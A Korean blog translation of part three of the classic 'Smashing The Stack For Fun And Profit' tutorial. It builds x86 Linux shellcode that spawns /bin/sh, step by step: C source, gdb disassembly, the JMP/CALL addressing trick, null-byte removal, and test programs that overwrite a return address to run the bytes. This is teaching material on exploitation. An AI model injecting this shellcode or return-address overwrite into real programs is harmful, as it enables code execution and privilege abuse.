Security || AI

[시스템 공부] Smashing The Stack For Fun And Profit (3) 번역 본문

Hacking&Security/시스템[System]

[시스템 공부] Smashing The Stack For Fun And Profit (3) 번역

보안&인공지능 2018. 11. 5. 11:16

쉘 코드

Shell Code

~~~~~~~~~~

 이제 우리는 반환 주소(return address, RET)와 실행의 흐름을 수정할 수 있다는 것을 알게 되었다. 이제 어떤 프로그램을 실행하는 것을 원하는가? 대부분의 경우 우리는 프로그램이 쉘을 실행 시키는 것을 원한다. 그런 다음 쉘로부터 우리는 원하는 명령들을 내릴 수 있다. 만약  우리가 이용하려는 프로그램안에 그러한 코드가 없다면 어떻게 할 것인가? 어떻게 임의의 명령을 주소 공간에 위치시킬 것인가? 정답은 오버플로우가 일어나는 버퍼에 실행하려고 하는 코드를 배치시키고, 반환 주소(return address, RET)에 덮어씌워 버퍼로 다시 이동 시키는 것이다. 스택의 주소가 0xFF에서 시작한고, S는 우리가 실행하기를 원하는 코드라고 생각하면서 스택이 어떻게 생길지 보자:


bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of

memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory

           buffer                sfp   ret   a     b     c


<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]

           ^                            |

           |____________________________|

top of                                                            bottom of

stack                                                                 stack


C에서 실행시키는 코드는 아래와 같다:

shellcode.c

-----------------------------------------------------------------------------

#include <stdio.h>


void main() {

   char *name[2];


   name[0] = "/bin/sh";

   name[1] = NULL;

   execve(name[0], name, NULL);

}

------------------------------------------------------------------------------


  우리가 컴파일한 것이 어셈블리어로 어떻게 표현되는지 알기 위해 gdb를 시작한다. 

 -static플래그를 사용하는 것을 잊지 말아야한다. 그렇지 않으면, execve시스템 호출의 실제 코드는 포함되지 않는다. 대신 로드 시 일반적으로 연결되는 동적 C 라이브러리에 대한 참조가 있다. 


------------------------------------------------------------------------------

[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c

[aleph1]$ gdb shellcode

GDB is free software and you are welcome to distribute copies of it

 under certain conditions; type "show copying" to see the conditions.

There is absolutely no warranty for GDB; type "show warranty" for details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...

(gdb) disassemble main

Dump of assembler code for function main:

0x8000130 <main>:       pushl  %ebp

0x8000131 <main+1>:     movl   %esp,%ebp

0x8000133 <main+3>:     subl   $0x8,%esp

0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)

0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)

0x8000144 <main+20>:    pushl  $0x0

0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax

0x8000149 <main+25>:    pushl  %eax

0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax

0x800014d <main+29>:    pushl  %eax

0x800014e <main+30>:    call   0x80002bc <__execve>

0x8000153 <main+35>:    addl   $0xc,%esp

0x8000156 <main+38>:    movl   %ebp,%esp

0x8000158 <main+40>:    popl   %ebp

0x8000159 <main+41>:    ret

End of assembler dump.

(gdb) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__execve>:   pushl  %ebp

0x80002bd <__execve+1>: movl   %esp,%ebp

0x80002bf <__execve+3>: pushl  %ebx

0x80002c0 <__execve+4>: movl   $0xb,%eax

0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx

0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx

0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx

0x80002ce <__execve+18>:        int    $0x80

0x80002d0 <__execve+20>:        movl   %eax,%edx

0x80002d2 <__execve+22>:        testl  %edx,%edx

0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>

0x80002d6 <__execve+26>:        negl   %edx

0x80002d8 <__execve+28>:        pushl  %edx

0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>

0x80002de <__execve+34>:        popl   %edx

0x80002df <__execve+35>:        movl   %edx,(%eax)

0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax

0x80002e6 <__execve+42>:        popl   %ebx

0x80002e7 <__execve+43>:        movl   %ebp,%esp

0x80002e9 <__execve+45>:        popl   %ebp

0x80002ea <__execve+46>:        ret

0x80002eb <__execve+47>:        nop

End of assembler dump.

------------------------------------------------------------------------------


 여기서 무엇이 일어나는지 이해해보자. 우리는 main부터 공부할 것이다.


------------------------------------------------------------------------------

0x8000130 <main>:       pushl  %ebp

0x8000131 <main+1>:     movl   %esp,%ebp

0x8000133 <main+3>:     subl   $0x8,%esp


여기는 프로시저 도입부이다.여기서는 먼저 예전의 프레임 포인터를 저장하고,

현재의 스택포인터를 새로운 프레임 포인터로 만든다, 그리고 지역변수들을 

위한 공간을 남긴다. 이 경우 이것은:


char *name[2];


즉, char(문자형)을 나타내는 2개의 포인터이다. 포인터는 길이가 1인 워드이다,

그러므로 2워드(8바이트)를 위한 공간을 남겨둔다.


0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)


우리는 0x80027b8 (문자열 "/bin/sh"의 주소)값을 첫번째 포인터인 name[]에

복사한다. 이 값은 다음과 같다


name[0] = "/bin/sh";


0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)


우리는 0x0(NULL)값을 두번째 포인터인 name[]에 복사한다.

이 값은 다음과 같다:


name[1] = NULL;


execve()호출은 여기서 시작한다.


0x8000144 <main+20>:    pushl  $0x0


스택의 반대 방향으로 execve()의 인자들을 밀어 넣는다.

NULL부터 시작하게 된다.


0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax


name[]의 주소를 EAX 레지스터로 저장한다.


0x8000149 <main+25>:    pushl  %eax


name[]의 주소를 스택에 밀어 넣는다.


0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax


문자열 "/bin/sh"의 주소를 EAX레지스터에 저장한다.


0x800014d <main+29>:    pushl  %eax


문자열 "/bin/sh”를 스택이 밀어 넣는다.


0x800014e <main+30>:    call   0x80002bc <__execve>


라이브러리 함수인execve()를 호출한다. call 명령은 IP(Instruction Pointer: 명령어 포인터)를 스택에 밀어 넣는다.

------------------------------------------------------------------------------


 이제 execve()함수를 보자. 인텔 기반의 리눅스 시스템을 사용한다는 것을 잊지 말자. 시스템호출의 세부 사항은 OS와 CPU에 따라 달라진다. 몇몇은 스택의 인자들을 스택으로 전달하고, 다른 것들은 레지스터로 보낸다. 몇몇은 커널 모드로 점프하기 위해 커널 모드로 점프하지만, 다른 것들은 far 호출에 사용한다. 리눅스는 레지스터의 시스템 호출로 인자를 넘기고, 커널 모드로 점프하기위해 소프트웨어 인터럽트를 사용한다.


------------------------------------------------------------------------------

0x80002bc <__execve>:   pushl  %ebp

0x80002bd <__execve+1>: movl   %esp,%ebp

0x80002bf <__execve+3>: pushl  %ebx


프로시저 도입부


0x80002c0 <__execve+4>: movl   $0xb,%eax


0xb (10진수로 11) 스택으로 복사한다. 이것은 syscall 목록의 인덱스이다.

11 은 execve이다.


0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx


EBX로 “/bin/sh”의 주소를 복사한다.


0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx


ECX로 name[]의 주소를 복사한다.


0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx


EDX로 null 포인터를 복사한다.


0x80002ce <__execve+18>:        int    $0x80


커널모드로 바꾼다.

------------------------------------------------------------------------------


 이렇게 보았듯이 execve() 시스템 호출에 많은 것이 있지 않다는 것을 볼 수 있다. 우리는 다음과 같은 것들을 해야한다:

a) null로 종료되는 문자열인 “/bin/sh”는 메모리 어딘가에 저장된다.

b) null길이의 word뒤에 문자열 “/bin/sh”의 주소가 메모리의 어딘가에 위치한다.

c) 0xb를 EAX 레지스터에 복사한다.

d) 문자열 “/bin/sh”의 주소의 주소를 EBX레지스터에 복사한다.

e) 문자열 “/bin/sh”의 주소를 ECX레지스터에 복사한다.

f) null길이의 word를 EDX레지스터에 복사한다.

g) int $0x80 명령을 실행시킨다.


 하지만 execve() 호출이 만약 어떠한 이유로 실패하면 어떻게 될까? 프로그램은 임의의 데이터를 가지고 있는 스택으로부터 계속 명령을 불러 온다. 프로그램은 코어 덤프가 될 것이다. 우리는 execve 시스템호출이 실패하면 프로그램이 깔끔하게 종료 되는 것을 원한다. 이를 이루기 위해서는 exit시스템 호출을 execv시스템 호출 뒤에 추가해야한다. exit 시스템 호출은 어떻게 생겼을까?


exit.c

------------------------------------------------------------------------------

#include <stdlib.h>


void main() {

        exit(0);

}

------------------------------------------------------------------------------


------------------------------------------------------------------------------

[aleph1]$ gcc -o exit -static exit.c

[aleph1]$ gdb exit

GDB is free software and you are welcome to distribute copies of it

 under certain conditions; type "show copying" to see the conditions.

There is absolutely no warranty for GDB; type "show warranty" for details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...

(no debugging symbols found)...

(gdb) disassemble _exit

Dump of assembler code for function _exit:

0x800034c <_exit>:      pushl  %ebp

0x800034d <_exit+1>:    movl   %esp,%ebp

0x800034f <_exit+3>:    pushl  %ebx

0x8000350 <_exit+4>:    movl   $0x1,%eax

0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx

0x8000358 <_exit+12>:   int    $0x80

0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx

0x800035d <_exit+17>:   movl   %ebp,%esp

0x800035f <_exit+19>:   popl   %ebp

0x8000360 <_exit+20>:   ret

0x8000361 <_exit+21>:   nop

0x8000362 <_exit+22>:   nop

0x8000363 <_exit+23>:   nop

End of assembler dump.

------------------------------------------------------------------------------


 Exit 시스템 호출은 EAX에 0x1을 위치시킬 것이고, exit 코드를 EBX에 위치시키고 “int 0x80”을 실행시킬 것이다. 바로 그렇다. 대부분의 응용 프로그램들은 0을 반환하고 종료하면서 에러가 없다고 나타낸다. 우리는 EBX에 0을 위치시킬 것이고, 우리는 다음과 같은 절차를 밟는다:

a) null로 종료되는 문자열인 “/bin/sh”는 메모리 어딘가에 저장된다.

b) null길이의 word뒤에 문자열 “/bin/sh”의 주소가 메모리의 어딘가에 위치한다.

c) 0xb를 EAX레지스터에 복사한다.

d) 문자열 “/bin/sh”의 주소의 주소를 EBX 레지스터에 복사한다.

e) 문자열 “/bin/sh”의 주소를 EXC레지스터에 복사한다.

f) null길이의 word를 EDX레지스터에 복사한다.

g) int $0x80명령을 실행한다.

h) 0x1을 EAX레지스터에 복사한다.

i) 0x0을 EBX레지스터에 복사한다.

j) $0x80명령을 실행시킨다.

 이를 어셈블리어로 구현하려 하고. 문자열은 코드 뒤에 위치시키고, 우리는 문자열의 주소를 위치시킨 다는 것을 기억하고, 배열 뒤에 null 워드를 위치시킨다. 이것은 다음과 같다:

------------------------------------------------------------------------------

        movl   string_addr,string_addr_addr

movb   $0x0,null_byte_addr

        movl   $0x0,null_addr

        movl   $0xb,%eax

        movl   string_addr,%ebx

        leal   string_addr,%ecx

        leal   null_string,%edx

        int    $0x80

        movl   $0x1, %eax

        movl   $0x0, %ebx

int    $0x80

        /bin/sh string goes here.

------------------------------------------------------------------------------


 문제는 우리가 프로그램을 이용하려는 코드(및 코드 뒤에 오는 문자열)가 어디에 놓일지 모른다는 것이다. 한가지 방법은 JMP, CALL명령을 사용하는 것이다. JMP와 CALL명령들은 IP(명령어 포인터)를 사용할 수 있다. 즉, 메모리에서 점프하려는 정확한 주소를 알 필요 없이 현재 IP에서 오프셋으로 점프할 수 있다. 만약 우리가 CALL명령을 문자열“/bin/sh” 바로 앞에 위치시키고, JMP 명령을 위치시키면, 문자열의 주소는 CALL이 실행될 때, return 주소로써 스택에 밀어 넣어진다.  우리가 필요한 모든 것은 복귀 주소를 레지스터에 복사하는 것이다. CALL명령은 단순히 코드의 시작을 호출할 수 있다. J를 JMP명령으로, C를 CALL명령으로하고, s를 문자열이라 가정하면, 실행흐름은 다음과 같다.


bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of

memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory

           buffer                sfp   ret   a     b     c


<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]

           ^|^             ^|            |

           |||_____________||____________| (1)

       (2)  ||_____________||

             |______________| (3)

top of                                                            bottom of

stack                                                                 stack


이렇게 수정한 것으로, 색인화된 주소 지정을 사용하고, 각각의 명령이 얼마나 많은 바이트를 쓰는지 기록하면 다음과 같은 코드로 나타냅니다.


------------------------------------------------------------------------------

        jmp    offset-to-call            # 2 bytes

        popl   %esi                      # 1 byte

        movl   %esi,array-offset(%esi)  # 3 bytes

        movb   $0x0,nullbyteoffset(%esi) # 4 bytes

        movl   $0x0,null-offset(%esi)    # 7 bytes

        movl   $0xb,%eax                # 5 bytes

        movl   %esi,%ebx                # 2 bytes

        leal   array-offset,(%esi),%ecx # 3 bytes

        leal   null-offset(%esi),%edx    # 3 bytes

        int    $0x80                    # 2 bytes

        movl   $0x1, %eax # 5 bytes

        movl   $0x0, %ebx # 5 bytes

int    $0x80 # 2 bytes

        call   offset-to-popl            # 5 bytes

        /bin/sh string goes here.

------------------------------------------------------------------------------

jmp에서 call까지의 거리, call부터 popl까지의 거리, 문자열의 주소에서 배열까지의 거리와 문자열 주소부터 null길이의 워드까지의 거리를 계산하면 아래와 같다:


------------------------------------------------------------------------------

        jmp    0x26                     # 2 bytes

        popl   %esi                     # 1 byte

        movl   %esi,0x8(%esi)           # 3 bytes

        movb   $0x0,0x7(%esi) # 4 bytes

        movl   $0x0,0xc(%esi)           # 7 bytes

        movl   $0xb,%eax                # 5 bytes

        movl   %esi,%ebx                # 2 bytes

        leal   0x8(%esi),%ecx           # 3 bytes

        leal   0xc(%esi),%edx           # 3 bytes

        int    $0x80                    # 2 bytes

        movl   $0x1, %eax # 5 bytes

        movl   $0x0, %ebx # 5 bytes

int    $0x80 # 2 bytes

        call   -0x2b                    # 5 bytes

        .string \"/bin/sh\" # 8 bytes

------------------------------------------------------------------------------


좋은 것 같다. 정확하게 작동하는지 확인하기 위해, 우리는 컴파일을하고 실행시켜 보아야 한다. 하지만 문제가 있다. 우리의 코드는 자기 스스로를 수정하지만, 대부분의 운영체제에서는 코드 부분을 읽기만 하도록 표시한다. 이러한 제한을 회피하기 위해 우리가 실행하고자 하는 코드를 스택이나 데이터 세그먼트에 위치시키고, 제어권을 넘겨주어야 한다. 이를 위해서, 우리의 코드를 데이터 세그먼트에 위치하는 전역 배열에 위치시킬 것이다. 먼저 우리는 이진 코드를 16진수로 표현해야한다. 이를 먼저 컴파일 해보고, gdb를 사용하여 보자.


shellcodeasm.c

------------------------------------------------------------------------------

void main() {

__asm__("

        jmp    0x2a                     # 3 bytes

        popl   %esi                     # 1 byte

        movl   %esi,0x8(%esi)           # 3 bytes

        movb   $0x0,0x7(%esi)           # 4 bytes

        movl   $0x0,0xc(%esi)           # 7 bytes

        movl   $0xb,%eax                # 5 bytes

        movl   %esi,%ebx                # 2 bytes

        leal   0x8(%esi),%ecx           # 3 bytes

        leal   0xc(%esi),%edx           # 3 bytes

        int    $0x80                    # 2 bytes

        movl   $0x1, %eax               # 5 bytes

        movl   $0x0, %ebx               # 5 bytes

        int    $0x80                    # 2 bytes

        call   -0x2f                    # 5 bytes

        .string \"/bin/sh\"             # 8 bytes

");

}

------------------------------------------------------------------------------

------------------------------------------------------------------------------

[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c

[aleph1]$ gdb shellcodeasm

GDB is free software and you are welcome to distribute copies of it

 under certain conditions; type "show copying" to see the conditions.

There is absolutely no warranty for GDB; type "show warranty" for details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...

(gdb) disassemble main

Dump of assembler code for function main:

0x8000130 <main>:       pushl  %ebp

0x8000131 <main+1>:     movl   %esp,%ebp

0x8000133 <main+3>:     jmp    0x800015f <main+47>

0x8000135 <main+5>:     popl   %esi

0x8000136 <main+6>:     movl   %esi,0x8(%esi)

0x8000139 <main+9>:     movb   $0x0,0x7(%esi)

0x800013d <main+13>:    movl   $0x0,0xc(%esi)

0x8000144 <main+20>:    movl   $0xb,%eax

0x8000149 <main+25>:    movl   %esi,%ebx

0x800014b <main+27>:    leal   0x8(%esi),%ecx

0x800014e <main+30>:    leal   0xc(%esi),%edx

0x8000151 <main+33>:    int    $0x80

0x8000153 <main+35>:    movl   $0x1,%eax

0x8000158 <main+40>:    movl   $0x0,%ebx

0x800015d <main+45>:    int    $0x80

0x800015f <main+47>:    call   0x8000135 <main+5>

0x8000164 <main+52>:    das

0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp

0x8000168 <main+56>:    das

0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>

0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)

End of assembler dump.

(gdb) x/bx main+3

0x8000133 <main+3>:     0xeb

(gdb)

0x8000134 <main+4>:     0x2a

(gdb)

.

.

.

------------------------------------------------------------------------------


testsc.c

------------------------------------------------------------------------------

char shellcode[] =

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"

"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"

"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"

"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";


void main() {

   int *ret;


   ret = (int *)&ret + 2;

   (*ret) = (int)shellcode;


}

------------------------------------------------------------------------------

------------------------------------------------------------------------------

[aleph1]$ gcc -o testsc testsc.c

[aleph1]$ ./testsc

$ exit

[aleph1]$

------------------------------------------------------------------------------

 작동하였다! 하지만 여기에는 걸림돌이 있다. 대부분의 경우에 우리는 문자형 버퍼를 오버플로우 시키려고 할 것이다. 우리의 쉘코드에 null바이트는 문자열의 끝이라 여겨지고, 복사는 종료될 것이다. 제대로 작동시키려면, 쉘코드에 null 바이트를 없애야 한다. 이제 null 바이트들을 제거하여 보자(동시에 더 작게 만들자).


Problem instruction:                 Substitute with:

           --------------------------------------------------------

           movb   $0x0,0x7(%esi)                xorl   %eax,%eax

   molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)

                                                movl   %eax,0xc(%esi)

           --------------------------------------------------------

           movl   $0xb,%eax                     movb   $0xb,%al

           --------------------------------------------------------

           movl   $0x1, %eax                    xorl   %ebx,%ebx

           movl   $0x0, %ebx                    movl   %ebx,%eax

                                                inc    %eax

           --------------------------------------------------------

 더욱 발전된 코드:


shellcodeasm2.c

------------------------------------------------------------------------------

void main() {

__asm__("

        jmp    0x1f                     # 2 bytes

        popl   %esi                     # 1 byte

        movl   %esi,0x8(%esi)           # 3 bytes

        xorl   %eax,%eax                # 2 bytes

movb   %eax,0x7(%esi) # 3 bytes

        movl   %eax,0xc(%esi)           # 3 bytes

        movb   $0xb,%al                 # 2 bytes

        movl   %esi,%ebx                # 2 bytes

        leal   0x8(%esi),%ecx           # 3 bytes

        leal   0xc(%esi),%edx           # 3 bytes

        int    $0x80                    # 2 bytes

        xorl   %ebx,%ebx                # 2 bytes

        movl   %ebx,%eax                # 2 bytes

        inc    %eax                     # 1 bytes

        int    $0x80                    # 2 bytes

        call   -0x24                    # 5 bytes

        .string \"/bin/sh\"             # 8 bytes

# 46 bytes total

");

}

------------------------------------------------------------------------------


 새로운 테스트 프로그램:


testsc2.c

------------------------------------------------------------------------------

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";


void main() {

   int *ret;


   ret = (int *)&ret + 2;

   (*ret) = (int)shellcode;


}

------------------------------------------------------------------------------


------------------------------------------------------------------------------

[aleph1]$ gcc -o testsc2 testsc2.c

[aleph1]$ ./testsc2

$ exit

[aleph1]$

------------------------------------------------------------------------------


다음: 익스플로잇 짜기

반응형